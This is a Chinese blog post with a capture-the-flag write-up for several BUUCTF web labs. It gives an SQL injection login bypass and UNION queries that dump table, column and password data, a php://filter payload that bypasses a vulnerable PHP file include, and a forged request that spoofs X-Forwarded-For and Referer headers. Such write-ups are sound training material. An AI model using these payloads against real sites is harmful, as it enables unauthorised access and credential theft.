buuctf web 第一页第9题到第12题

baozongwi

于 2024-07-24 14:22:19 发布

阅读量198

点赞数 6

分类专栏： BUUctf web 文章标签： web安全经验分享

本文链接：https://blog.csdn.net/2301_81040377/article/details/140643623

版权

BUUctf web 专栏收录该内容

17 篇文章 0 订阅

订阅专栏

[极客大挑战 2019]LoveSQL

一个万能密码秒了

1'or 1=1#

在这里插入图片描述
然后登录进去没flag
爆吧
一个简单的联合注入，没有过滤的

1'union select 1,2,3#
1'union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3#
geekuser,l0ve1ysq1！

1'union select 1,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1'),3#
Hello id,username,password！

1'union select 1,(select group_concat(username,password)from l0ve1ysq1),3#

奇怪的是他把反引号给办了，我无语，反引号还用来绕过引号呢

[极客大挑战 2019]Secret File

在这里插入图片描述

啥都没看到
退回去抓包

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

方法很多

php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Http

进地址就翻了跟头，我加了http结果不行，试了几次之后直接来成功了
在这里插入图片描述
没啥好说的

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26513
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36;Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
referer: https://Sycsecret.buuoj.cn
Connection: close